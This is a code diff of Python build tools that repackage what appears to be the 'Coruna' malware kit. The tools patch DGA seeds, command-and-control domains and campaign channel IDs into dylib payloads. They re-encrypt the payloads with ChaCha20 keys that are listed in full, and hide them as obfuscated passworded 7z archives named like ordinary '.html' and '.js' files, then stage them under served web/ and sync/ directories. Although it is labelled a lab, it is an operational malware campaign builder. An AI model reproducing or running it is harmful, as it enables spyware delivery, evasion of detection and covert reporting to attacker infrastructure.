return
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
if not src.is_file():
raise SystemExit(f"missing support template: {src}")
shutil.copyfile(src, dest)
def resolve_python() -> str:
exe = (sys.executable or "").strip()
if exe:
return exe
for name in ("python3", "python"):
found = shutil.which(name)
if found:
return found
raise SystemExit("cannot locate python interpreter")
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True)
def gen_seed() -> str:
return secrets.token_hex(16)
def load_lab_seeds(path: Path) -> dict | None:
if not path.is_file():
return None
data = json.loads(path.read_text())
dep = data.get("deployment_seed")
rep = data.get("reporting_seed")
if not isinstance(dep, str) or not isinstance(rep, str):
raise SystemExit(f"invalid {path}: missing deployment_seed/reporting_seed")
return data
def compute_domains(py: str, dep: str, rep: str, count: int) -> dict:
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(count),
"--json",
],
cwd=str(BUILDER_ROOT),
check=True,
capture_output=True,
text=True,
)
payload = json.loads(result.stdout)
return {
"deployment": payload["deployment"]["domains"],
"reporting": payload["reporting"]["domains"],
}
def write_lab_seeds(
path: Path,
*,
dep: str,
rep: str,
domains: dict,
count: int,
) -> dict:
doc = {
"schema_version": 1,
"mode": "dga",
"deployment_seed": dep,
"reporting_seed": rep,
"dga_count": count,
"domains": domains,
"updated_at": datetime.now(timezone.utc).isoformat(),
}
if not path.is_file():
doc["created_at"] = doc["updated_at"]
else:
prev = json.loads(path.read_text())
if isinstance(prev.get("created_at"), str):
doc["created_at"] = prev["created_at"]
else:
doc["created_at"] = doc["updated_at"]
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(doc, indent=2) + "\n")
return doc
def resolve_seeds(
*,
lab_seeds_path: Path,
cli_dep: str | None,
cli_rep: str | None,
count: int,
py: str,
) -> tuple[str, str, dict, bool, bool]:
"""Return dep, rep, domains, seeds_initialized, sync_rebuilt."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
existing = load_lab_seeds(lab_seeds_path)
if cli_dep and cli_rep:
dep = validate_seed_arg("--deployment-seed", cli_dep)
rep = validate_seed_arg("--reporting-seed", cli_rep)
if dep != rep:
raise SystemExit("deployment and reporting seeds must match")
if existing and (
existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep
):
domains = existing.get("domains") or compute_domains(py, dep, rep, count)
return dep, rep, domains, False, False
domains = compute_domains(py, dep, rep, count)
write_lab_seeds(lab_seeds_path, dep=dep, rep=rep, domains=domains, count=count)
return dep, rep, domains, existing is None, True
if existing:
dep = str(existing["deployment_seed"])
rep = str(existing["reporting_seed"])
domains = existing.get("domains") or compute_domains(py, dep, rep, count)
return dep, rep, domains, False, False
# Deployment + Reporting pools share one seed (identical DGA candidate lists).
dep = gen_seed()
rep = dep
domains = compute_domains(py, dep, rep, count)
write_lab_seeds(lab_seeds_path, dep=dep, rep=rep, domains=domains, count=count)
return dep, rep, domains, True, True
def release_files(artifact_root: Path, channel: str) -> list[dict[str, object]]:
files: list[dict[str, object]] = []
for rel_root in (Path("sync"), Path("web") / channel):
base = artifact_root / rel_root
if not base.is_dir():
continue
for path in sorted(base.rglob("*")):
if not path.is_file():
continue
data = path.read_bytes()
files.append(
{
"path": path.relative_to(artifact_root).as_posix(),
"size": len(data),
"sha256": hashlib.sha256(data).hexdigest(),
}
)
return files
def main() -> int:
parser = argparse.ArgumentParser(
description="Create/update a channel under shared sync/ + web/<id>/ (DGA seeds only)."
)
parser.add_argument("--channel-id", help="32-char [0-9a-z] channel id (default: random)")
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--artifact-root",
type=Path,
default=ARTIFACTS_ROOT,
help=f"served root for web/ + sync/ (default: {ARTIFACTS_ROOT})",
)
parser.add_argument(
"--state-root",
type=Path,
default=STATE_ROOT,
help=f"lab_seeds.json + out/ (default: {STATE_ROOT})",
)
parser.add_argument(
"--force",
action="store_true",
help="replace existing web/<channel-id>/",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates per pool written into lab_seeds.json (default 5)",
)
parser.add_argument(
"--support-template",
default=DEFAULT_SUPPORT_TEMPLATE,
choices=SUPPORT_TEMPLATES,
help="support.html template: test or blank (default: test)",
)
parser.add_argument(
"--json-out",
type=Path,
help="optional path to write the result JSON (also printed on stdout)",
)
args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
raise SystemExit(f"missing source web template: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
support_template = normalize_support_template(args.support_template)
artifact_root = args.artifact_root.resolve()
state_root = args.state_root.resolve()
if artifact_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in artifact_root.parents:
raise SystemExit("refusing to build into channel-builder/source")
if state_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in state_root.parents:
raise SystemExit("refusing state-root under channel-builder/source")
artifact_root.mkdir(parents=True, exist_ok=True)
state_root.mkdir(parents=True, exist_ok=True)
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
web_dir = artifact_root / "web" / channel
sync_dir = artifact_root / "sync"
lab_seeds_path = state_root / LAB_SEEDS_NAME
out_root = state_root / "out"
if web_dir.exists():
if not args.force:
raise SystemExit(f"web/{channel} already exists (use --force)")
shutil.rmtree(web_dir)
py = resolve_python()
dep, rep, domains, seeds_initialized, sync_rebuilt = resolve_seeds(
lab_seeds_path=lab_seeds_path,
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
count=args.count,
py=py,
)
# Rebuild sync if seeds changed OR shared sync tree is missing.
if not sync_dir.is_dir() or not (sync_dir / "daily.html").is_file():
sync_rebuilt = True
print("=== new_project (shared DGA) ===")
print(f"artifact: {artifact_root}")
print(f"state: {state_root}")
print(f"channel: {channel}")
print(f"support: template={support_template}")
print(f"seeds: dep={dep}")
print(f" rep={rep}")
print(f"init: seeds_initialized={seeds_initialized} sync_rebuilt={sync_rebuilt}")
print()
try:
if sync_rebuilt:
print("=== rebuild shared sync/ ===")
replace_tree(src_sync, sync_dir)
run(
[
py,
str(TOOLS / "patch_core.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
# Keep pristine core channel; sync is shared across delivery channels.
"--channel-id",
ORIGINAL_CORE_CHANNEL_ID,
"--root",
str(artifact_root),
"--out",
str(out_root / "sync"),
"--shared-layout",
"--apply",
]
)
print("=== build web/%s ===" % channel)
web_dir.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
apply_support_template(web_dir, support_template)
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
channel,
"--root",
str(artifact_root),
"--out",
str(out_root / "secondary"),
"--shared-layout",
"--apply",
]
)
except BaseException:
if web_dir.exists() and not sync_rebuilt:
# leave shared sync; remove failed channel web
shutil.rmtree(web_dir, ignore_errors=True)
raise
result = {
"schema_version": 1,
"status": "built",
"channel_id": channel,
"mode": "dga",
"support_template": support_template,
"seeds": {
"deployment_seed": dep,
"reporting_seed": rep,
},
"domains": domains,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": sync_rebuilt,
"support_path": f"/web/{channel}/support.html",
"daily_path": "/sync/daily.html",
"artifact_root": str(artifact_root),
"state_root": str(state_root),
"lab_seeds_path": str(lab_seeds_path),
"files": release_files(artifact_root, channel),
}
out_root.mkdir(parents=True, exist_ok=True)
(web_dir / "manifest.json").write_text(json.dumps(result, indent=2) + "\n")
(state_root / "manifest.latest.json").write_text(json.dumps(result, indent=2) + "\n")
if args.json_out:
args.json_out.write_text(json.dumps(result, indent=2) + "\n")
print()
print("=== ready ===")
print(f"web: {web_dir}")
print(f"sync: {sync_dir}")
print(f"seeds: {lab_seeds_path}")
print(f"served: /web/{channel}/support.html")
print(f" /sync/daily.html")
# Machine-readable line for PHP (also full JSON on its own line).
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+129
View File
@@ -0,0 +1,129 @@
#!/usr/bin/env python3
"""Convenience wrapper: DGA seed patch for secondary + core (legacy / local use).
Prefer ``new_project.py --artifact-root …`` for the shared lab layout.
"""
from __future__ import annotations
import argparse
import json
import secrets
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _common import ORIGINAL_CORE_CHANNEL_ID
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
def gen_seed() -> str:
return secrets.token_hex(16)
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch type0x01 + core/daily with DGA seeds (no fixed-domain shellcode)."
)
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument("--channel-id", help="delivery channel for type-0x01 (default: random)")
parser.add_argument(
"--root",
type=Path,
help="artifact root with sync/ + web/<channel>/ (required with --apply)",
)
parser.add_argument("--apply", action="store_true", help="write into --root")
parser.add_argument("-n", "--count", type=int, default=5, help="DGA candidates to print")
parser.add_argument(
"--shared-layout",
action="store_true",
default=True,
help="use shared sync/ + web/<channel>/ (default: on)",
)
parser.add_argument(
"--no-shared-layout",
action="store_false",
dest="shared_layout",
help="legacy isolated root/web + root/sync",
)
args = parser.parse_args()
if args.apply and not args.root:
raise SystemExit("--apply requires --root")
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
if args.deployment_seed and args.reporting_seed and args.deployment_seed != args.reporting_seed:
raise SystemExit("deployment and reporting seeds must match")
dep = args.deployment_seed or args.reporting_seed or gen_seed()
rep = dep
py = sys.executable or "python3"
root = ["--root", str(args.root.resolve())] if args.root else []
apply = ["--apply"] if args.apply else []
shared = ["--shared-layout"] if args.shared_layout else []
print("=== patch_all (dga) ===")
print(f"channel={channel} dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
channel,
*shared,
*root,
*apply,
]
)
run(
[
py,
str(TOOLS / "patch_core.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
ORIGINAL_CORE_CHANNEL_ID,
*shared,
*root,
*apply,
]
)
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
"--json",
],
cwd=str(BUILDER_ROOT),
check=True,
capture_output=True,
text=True,
)
domains = json.loads(result.stdout)
print(json.dumps({"channel_id": channel, "seeds": {"deployment_seed": dep, "reporting_seed": rep}, "domains": domains}, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
+429
View File
@@ -0,0 +1,429 @@
#!/usr/bin/env python3
"""Patch seeds/domains/channel in core + sync business plugins; rebuild daily.html."""
from __future__ import annotations
import argparse
import json
import shutil
import struct
import subprocess
import tempfile
from pathlib import Path
from _channel_patch import patch_plain_channel_in_dylib, validate_channel_id
from _common import (
CORE_DYLIB,
DAILY_BODY,
LAB_ROOT,
ORIGINAL_CORE_CHANNEL_ID,
SOURCE_ROOT,
SYNC_MODULES,
ensure_tree_layout,
patch_seeds_in_dylib,
set_tree_root,
sha256_hex,
tree_root,
validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _path_patch import patch_initial_daily_path
from _scheme_patch import ensure_deployment_scheme_https
import _common
from coruna_netconfig_pipeline import (
HEADER_MARKER_1,
HEADER_MARKER_2,
HEADER_XOR,
STANDARD_7Z_PREFIX,
derive_archive_password,
repair_coruna_7z_header,
)
from reproduce_coruna_dga import generate_domains
try:
import py7zr
except ImportError as exc: # pragma: no cover
raise SystemExit("py7zr required: pip3 install py7zr") from exc
def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
if not standard_7z.startswith(STANDARD_7Z_PREFIX):
raise ValueError("expected a standard 7z archive")
next_header_offset = struct.unpack_from("<Q", standard_7z, 12)[0]
next_header_size = struct.unpack_from("<Q", standard_7z, 20)[0]
out = bytearray(standard_7z)
struct.pack_into("<Q", out, 0, HEADER_XOR ^ next_header_offset)
struct.pack_into("<Q", out, 8, HEADER_XOR ^ next_header_size)
struct.pack_into("<Q", out, 16, HEADER_MARKER_1)
struct.pack_into("<Q", out, 24, HEADER_MARKER_2)
return bytes(out)
# Sample wires use 7-Zip EncodedHeader shape (next_sz≈47, Headers Size=191).
# py7zr writes a different EncodedHeader the client rejects as NO_ARCHIVE (17).
# macOS `7z a <file>` embeds Unix mode bits (extract -1). `7z a -siNAME` does not.
_7Z_PACK_FILTER = "LZMA2:a=0:d=8k"
_7Z_CACHE_TAG = b"lzma2:13-si\0"
def _find_7z() -> str:
for name in ("7z", "7za"):
path = shutil.which(name)
if path:
return path
raise SystemExit(
"7z required to pack Coruna archives (LZMA2:13 via -si). Install p7zip."
)
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
"""Build passworded 7z matching sample EncodedHeader/attrs; cache by content."""
arc_name = Path(member_name).name
cache_key = sha256_hex(
_7Z_CACHE_TAG
+ arc_name.encode("utf-8")
+ b"\0"
+ password.encode("utf-8")
+ b"\0"
+ payload
)
cache_dir = LAB_ROOT / "out" / "7z_cache"
cache_path = cache_dir / cache_key
if cache_path.is_file():
return cache_path.read_bytes()
seven = _find_7z()
with tempfile.TemporaryDirectory() as tmp:
archive = Path(tmp) / "out.7z"
cmd = [
seven,
"a",
"-t7z",
f"-m0={_7Z_PACK_FILTER}",
"-mhe=on",
f"-p{password}",
f"-si{arc_name}",
"-y",
"-bso0",
"-bsp0",
str(archive),
]
proc = subprocess.run(cmd, input=payload, capture_output=True)
if proc.returncode != 0 or not archive.is_file():
detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip()
raise RuntimeError(
f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}"
)
data = archive.read_bytes()
try:
cache_dir.mkdir(parents=True, exist_ok=True)
cache_path.write_bytes(data)
except OSError:
# Cache is optional — skip when the process user cannot write.
pass
return data
def extract_daily_config_bytes() -> bytes:
repaired, _ = repair_coruna_7z_header(DAILY_BODY.read_bytes())
password = derive_archive_password()
with tempfile.TemporaryDirectory() as tmp:
archive = Path(tmp) / "daily.7z"
archive.write_bytes(repaired)
with py7zr.SevenZipFile(archive, mode="r", password=password) as handle:
handle.extractall(tmp)
return (Path(tmp) / "tmp.dylib").read_bytes()
def load_sync_modules() -> list[dict]:
if not SYNC_MODULES.is_file():
raise SystemExit(f"missing sync module inventory: {SYNC_MODULES}")
return json.loads(SYNC_MODULES.read_text())
def update_daily_hashes(
config_bytes: bytes,
hashes: dict[str, tuple[str, int]],
*,
channel: str,
) -> bytes:
"""Rewrite sync URLs and update hashes/sizes keyed by wire filename."""
_ = channel # channel id is not embedded in shared /sync/ URLs
obj = json.loads(config_bytes)
prefix = "https://[HOST_PLACEHOLDER]/sync"
def patch_entry(entry: dict) -> None:
wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
if not wire:
raise SystemExit("daily config contains an empty module URL")
entry["url"] = f"{prefix}/{wire}"
if wire in hashes:
digest, size = hashes[wire]
entry["sha256"] = digest
entry["size"] = size
core = obj.get("core")
if not isinstance(core, dict):
raise SystemExit("daily config missing core object")
patch_entry(core)
for entry in obj.get("springboard_entries", []):
patch_entry(entry)
for entry in obj.get("entries", []):
patch_entry(entry)
return json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
def patch_module_channel(
data: bytes,
*,
channel: str,
expect_hits: int,
label: str,
) -> bytes:
if expect_hits <= 0 or channel == ORIGINAL_CORE_CHANNEL_ID:
return data
return patch_plain_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CORE_CHANNEL_ID,
expect_hits=expect_hits,
label=label,
)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Patch core + sync business-plugin channel/seeds/domains and rebuild "
"sync wires + daily.html"
)
)
parser.add_argument("--deployment-seed", required=True)
parser.add_argument("--reporting-seed", required=True)
parser.add_argument(
"--channel-id",
help=(
f"32-hex channel written into core + sync plugins "
f"(default: keep {ORIGINAL_CORE_CHANNEL_ID})"
),
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
)
parser.add_argument(
"--root",
type=Path,
help="artifact root containing sync/ (and optionally web/) (required with --apply)",
)
parser.add_argument(
"--shared-layout",
action="store_true",
help="artifact root uses shared sync/ + web/<channel>/",
)
parser.add_argument(
"--out",
type=Path,
help="output dir (default: <root>/out/sync or lab out/sync)",
)
parser.add_argument(
"--apply",
action="store_true",
help="copy rebuilt daily.html + patched sync wires into <root>/sync/",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CORE_CHANNEL_ID
)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
if (fixed_dep is None) ^ (fixed_rep is None):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(
args.root,
channel=channel if args.shared_layout else None,
shared_layout=args.shared_layout,
)
# sync-only: working tree may lack web/ when patching sync in isolation
ensure_tree_layout(tree_root(), require_campaign=False)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
if args.out is None:
args.out = tree_root() / "out" / "sync" if args.root else LAB_ROOT / "out" / "sync"
sync_dir = _common.SYNC_DIR
if not CORE_DYLIB.is_file():
raise SystemExit(f"missing core dylib: {CORE_DYLIB}")
if not DAILY_BODY.is_file():
raise SystemExit(f"missing daily body: {DAILY_BODY}")
modules = load_sync_modules()
password = derive_archive_password()
out: Path = args.out
out.mkdir(parents=True, exist_ok=True)
dylibs_dir = out / "dylibs"
dylibs_dir.mkdir(exist_ok=True)
hashes: dict[str, tuple[str, int]] = {}
rebuilt_wires: list[str] = []
core_path_patch_meta: dict | None = None
for mod in modules:
wire = mod["wire"]
member = mod["member"]
expect = int(mod.get("expect_channel_hits", 0))
rel = mod.get("source_rel") or f"source/sync_dylibs/{member}"
src = LAB_ROOT / rel
if not src.is_file():
raise SystemExit(f"missing sync dylib for {wire}: {src}")
data = src.read_bytes()
label = f"sync/{wire} ({member})"
if wire == "erupt_flee.js":
data = patch_seeds_in_dylib(
data,
dep,
rep,
expect_dep=2,
expect_rep=2,
label=label,
)
if fixed_dep is not None and fixed_rep is not None:
data = patch_fixed_domains_in_dylib(
data,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label=label,
)
# Fat arm64+arm64e: keep/restore 2× https://%@ (undo legacy http lab patch).
data = ensure_deployment_scheme_https(
data, expect_hits=2, label=label
)
if expect > 0:
data = patch_module_channel(
data,
channel=channel,
expect_hits=expect,
label=label,
)
if wire == "erupt_flee.js":
data, core_path_patch_meta = patch_initial_daily_path(
data,
channel,
label=label,
)
print(
f"path-patched {wire}: {core_path_patch_meta.get('path')} "
f"(container={core_path_patch_meta.get('container', 'thin')})"
)
digest = sha256_hex(data)
size = len(data)
hashes[wire] = (digest, size)
wire_bytes = obfuscate_coruna_7z_header(
make_passworded_7z(member, data, password)
)
(out / wire).write_bytes(wire_bytes)
(dylibs_dir / member).write_bytes(data)
rebuilt_wires.append(wire)
print(f"patched {wire}: sha256={digest[:16]}… size={size} channel={channel}")
else:
print(f"skip channel {wire}: no embedded core channel")
if "erupt_flee.js" not in hashes:
raise SystemExit("core erupt_flee.js was not rebuilt")
core_digest, core_size = hashes["erupt_flee.js"]
(out / "tmp.patched.dylib").write_bytes((dylibs_dir / "tmp.dylib").read_bytes())
config_bytes = update_daily_hashes(
extract_daily_config_bytes(),
hashes,
channel=channel,
)
daily_wire = obfuscate_coruna_7z_header(
make_passworded_7z("tmp.dylib", config_bytes, password)
)
(out / "daily.html").write_bytes(daily_wire)
(out / "config.patched.json").write_text(
json.dumps(json.loads(config_bytes), indent=2) + "\n"
)
dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"core_channel_original": ORIGINAL_CORE_CHANNEL_ID,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"core_sha256": core_digest,
"core_size": core_size,
"daily_sha256": sha256_hex(daily_wire),
"erupt_flee_sha256": sha256_hex((out / "erupt_flee.js").read_bytes()),
"patched_wires": rebuilt_wires,
"module_sha256": {w: h for w, (h, _) in hashes.items()},
"deployment_domains": dep_domains,
"reporting_domains": rep_domains,
"daily_path": "/sync/daily.html",
"sync_path_prefix": "/sync/",
"initial_daily_path_patch": core_path_patch_meta,
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
print(f"core sha256={core_digest} size={core_size}")
print(f"channel: {channel} (core/plugins from {ORIGINAL_CORE_CHANNEL_ID})")
print(f"wrote {len(rebuilt_wires)} sync wires + daily.html -> {out}")
print("deployment domains:")
for d in manifest["deployment_domains"]:
print(f" {d}")
print("reporting domains:")
for d in manifest["reporting_domains"]:
print(f" {d}")
if args.apply:
shutil.copy2(out / "daily.html", sync_dir / "daily.html")
for wire in rebuilt_wires:
shutil.copy2(out / wire, sync_dir / wire)
print(f"applied -> {sync_dir / wire}")
print(f"applied daily.html -> {sync_dir}")
else:
print(
"\nRe-run with --apply --root <project> to overwrite "
"sync/{daily.html + patched wires}"
)
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,240 @@
#!/usr/bin/env python3
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
from __future__ import annotations
import argparse
import json
import shutil
from pathlib import Path
from _channel_patch import patch_channel_in_dylib, validate_channel_id
from _common import (
GROUP_DYLIBS,
LAB_ROOT,
ORIGINAL_CHANNEL_ID,
SECONDARY_KEYS,
SOURCE_ROOT,
ensure_tree_layout,
patch_seeds_in_dylib,
set_tree_root,
sha256_hex,
tree_root,
validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _scheme_patch import ensure_deployment_scheme_https
from _path_patch import patch_initial_daily_path
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
)
)
parser.add_argument(
"--deployment-seed",
required=True,
help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--reporting-seed",
required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--channel-id",
help=(
f"new 32-hex channel id written into type-0x01 "
f"(default: keep {ORIGINAL_CHANNEL_ID})"
),
)
parser.add_argument(
"--root",
type=Path,
help="artifact/channel root containing web/ + sync/ (required with --apply)",
)
parser.add_argument(
"--shared-layout",
action="store_true",
help="artifact root uses shared sync/ + web/<channel>/",
)
parser.add_argument(
"--out",
type=Path,
help="output directory for rebuilt .min.js (default: <root>/out/secondary or lab out/)",
)
parser.add_argument(
"--apply",
action="store_true",
help="also copy outputs into <root>/web/",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CHANNEL_ID
)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
if bool(fixed_dep) != bool(fixed_rep):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.shared_layout and not args.channel_id:
raise SystemExit("--shared-layout requires --channel-id")
if args.root:
set_tree_root(args.root, channel=channel, shared_layout=args.shared_layout)
ensure_tree_layout(
tree_root(),
channel=channel,
require_sync=not args.shared_layout,
)
else:
_common.set_campaign_id(channel)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"]
patched: dict[str, bytes] = {}
path_patch_meta: dict[str, dict[str, str | int]] = {}
for group, path in GROUP_DYLIBS.items():
if not path.is_file():
raise SystemExit(f"missing source dylib: {path}")
data = patch_seeds_in_dylib(
path.read_bytes(),
dep,
rep,
expect_dep=1,
expect_rep=1,
label=path.name,
)
if fixed_dep is not None and fixed_rep is not None:
data = patch_fixed_domains_in_dylib(
data,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label=path.name,
)
# Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch).
data = ensure_deployment_scheme_https(
data, expect_hits=1, label=path.name
)
if channel != ORIGINAL_CHANNEL_ID:
data = patch_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CHANNEL_ID,
expect_hits=1,
label=path.name,
)
data, path_patch_meta[group] = patch_initial_daily_path(
data,
channel,
label=path.name,
)
patched[group] = data
print(
f"group {group}: patched {path.name} "
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
)
out.mkdir(parents=True, exist_ok=True)
(out / "dylibs").mkdir(exist_ok=True)
for group, data in patched.items():
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
built = []
for stem, info in stems.items():
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
dest = out / f"{stem}.min.js"
dest.write_bytes(wire)
built.append(
{
"stem": stem,
"group": group,
"size": len(wire),
"sha256": sha256_hex(wire),
}
)
print(f" wrote {dest.name} ({len(wire)} bytes)")
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"initial_daily_path_patch": {
"path": "/sync/daily.html",
"groups": path_patch_meta,
},
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply:
campaign_dir.mkdir(parents=True, exist_ok=True)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
# Template may ship prefixed aliases like 34058858_<stem>.min.js
for alias in campaign_dir.glob(f"*_{item['stem']}.min.js"):
shutil.copy2(src, alias)
print(f"applied alias -> {alias}")
print(f"\nDone. Output: {out}")
print(f"channel: {channel}")
if not args.apply:
print("Re-run with --apply --root <channel-root> to overwrite files under web/")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+2
View File
@@ -0,0 +1,2 @@
pycryptodome>=3.19
py7zr>=0.20
+45
View File
@@ -0,0 +1,45 @@
{
"note": "Per-stem ChaCha20 keys from type-0x07 (nonce = 8 zero bytes). Groups A/B are the two unique type-0x01 dylib builds.",
"stems": {
"039c68f0ca742a85e94516818385a9eca2e204d8": {
"key": "41080698d8009de47825e61b463ab866d03d7a2bc24879cb70bc84e852c570a1",
"group": "A"
},
"347367155da44f3efcc9053337913061079610b9": {
"key": "ff6a753ba3a647cd3373db375d2c9a2ddd88ea5765309a1d7f04f0e24a8e176e",
"group": "A"
},
"65704c0722165a7bdedad3f3f61258b2f95470f6": {
"key": "6209dd85224a1cc8cb79acad5fdd97c69c7c21a4f4564631b0b60bb8685f14cd",
"group": "A"
},
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": {
"key": "a78d2be99679c3af3305b09690192bde0dd16d80631490d37b010e87e5b981a4",
"group": "A"
},
"743312cafb58176af57b89098d94dca1c60f8d1e": {
"key": "2e7827d0afe2043c6f044bb3ba19b76e3854d6e9d5f0615ed37b21b680c77347",
"group": "A"
},
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": {
"key": "e911b14d19a64bbfbaab5290d94562b4f91497b0381f80d1d598a8515b065c1d",
"group": "B"
},
"242a0afb1d88b83e9a1a5b570fed6778def892fc": {
